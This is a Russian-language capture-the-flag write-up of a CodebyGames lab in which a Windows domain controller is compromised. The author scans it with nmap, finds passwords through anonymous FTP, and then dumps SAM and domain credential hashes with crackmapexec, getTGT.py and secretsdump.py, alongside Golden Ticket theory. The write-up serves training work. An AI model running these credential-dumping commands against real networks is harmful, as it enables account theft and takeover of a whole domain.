Writeup System administrator (CodebyGames)
Предисловие.
В предыдущих двух тасках от CodebyGames были проведены такие атаки как Zerologon и как я уже писал на мой взгляд одна их самых опасных уязвимостей noPac, на этот раз будет показана еще одна уязвимость которую можно пробовать проэксплуатировать на реальных кейсах. Но в данной заметке я покажу несколько вариантов решения, как говориться от простого к сложному.
Решение.
Получаем ip на платформе codeby.games
Проводим разведку и сбор информации о цели с помощью nmap.
Смотрим на вывод программы по окончанию сканирования.
┌──(root㉿kali)-[~]
└─# nmap -sVC -A 192.168.2.3 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 16:28 EDT
Nmap scan report for 192.168.2.3
Host is up (0.022s latency).
Not shown: 983 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: H4cked By --KATASTROFA--
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-05 20:28:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: CODEBY)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49153/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (97%), Microsoft Windows Server 2012 R2 (94%), Microsoft Windows Phone 7.5 or 8.0 (94%), Microsoft Windows Embedded Standard 7 (93%), Microsoft Windows 7 Professional (92%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2016 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: WOODEN; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -59m28s, deviation: 1h43m52s, median: 29s
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: wooden
| NetBIOS computer name: WOODEN\x00
| Domain name: codeby.cdb
| Forest name: codeby.cdb
| FQDN: wooden.codeby.cdb
|_ System time: 2024-06-05T23:29:57+03:00
| smb2-time:
| date: 2024-06-05T20:29:55
|_ start_date: 2024-05-25T17:06:37
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled and required
Из интересного, видим FTP, пробуем авторизацию под анонимом.
Из интересного есть 2 директории ecaterina.smirnova и vlad.ivanov. Проводим осмотр обеих директорий на наличие интересных файлов.
Отлично, у нас есть несколько паролей.
Эксплуатация.
Вариант №1
И так у нас есть два пользователя и два пароля, пробуем подобрать при помощи программы crackmapexec.
Нам везет и у нас на руках сразу local admin, следующая команда просто сделает дамп SAM.
Теория.
SAM - сокращение от Security Account Manager, который управляет всеми учетными записями пользователей и их паролями. Он действует как база данных. Все пароли хэшируются, а затем сохраняются в SAM.
crackmapexec smb 192.168.2.3 -u 'vlad.ivanov' -p 'You_Shall_Not_Pass' --sam
Поздравляю, вы теперь Администратор и можете сразу забрать обе части флага.
Вариант № 2
Теория.
Golden Ticket - атака при которой получаем не ограниченный доступ ко всем ресурсам в сети.
Принцип работы:
1. Пользователь отправит запрос в KDC для аутентификации в домене Active Directory для сеанса.
2. KDC проверяет личность пользователя и отправляет в ответ зашифрованный TGT и ключ сеанса. TGT шифруется с использованием секретного ключа KDC (KRBTGT).
3. Затем пользователь запрашивает билет службы, известный как билет службы предоставления билетов (TGS), всякий раз, когда он хочет получить доступ к сетевому ресурсу.
4. KDC проверяет права доступа пользователя и отправляет в ответ TGS, зашифрованный сеансовым ключом пользователя.
5. Пользователи используют этот TGS для аутентификации в службе и доступа к сетевому ресурсу.
6. Сервис проверяет TGT и позволяет пользователю взаимодействовать с сетевым ресурсом.
Мы знаем, пользователя и пароль, но у нас есть еще один пароль, а вот кому он принадлежит мы не знаем. Что бы решить эту загадку, посмотрим всех юзеров следующей командой программы crackmapexec.
crackmapexec smb 192.168.2.3 -u 'vlad.ivanov' -p 'You_Shall_Not_Pass' --users
Мы расширили кругозор пользователей, далее проводим атку Password Spraying, на этом этапе останавливаться не буду. Сразу скажу, что и со второй УЗ нам тоже везет и там так же local admin.
Но т.к. мы сейчас рассматриваем другой вектор атаки, введем команду на запрос TGT билета, а далее экспортируем его.
getTGT.py -dc-ip 192.168.2.3 'codeby.cdb/aleksey.ibragimov:You_Shall_Not_Pass@@#'
Файл сохраняется в той же директории, где был создан запрос.
Экспортируем полученный файл в систему, командой.
После проделанной работы вводим последнюю команду.
secretsdump.py -just-dc 'codeby.cdb/aleksey.ibragimov:You_Shall_Not_Pass@@#'@192.168.2.3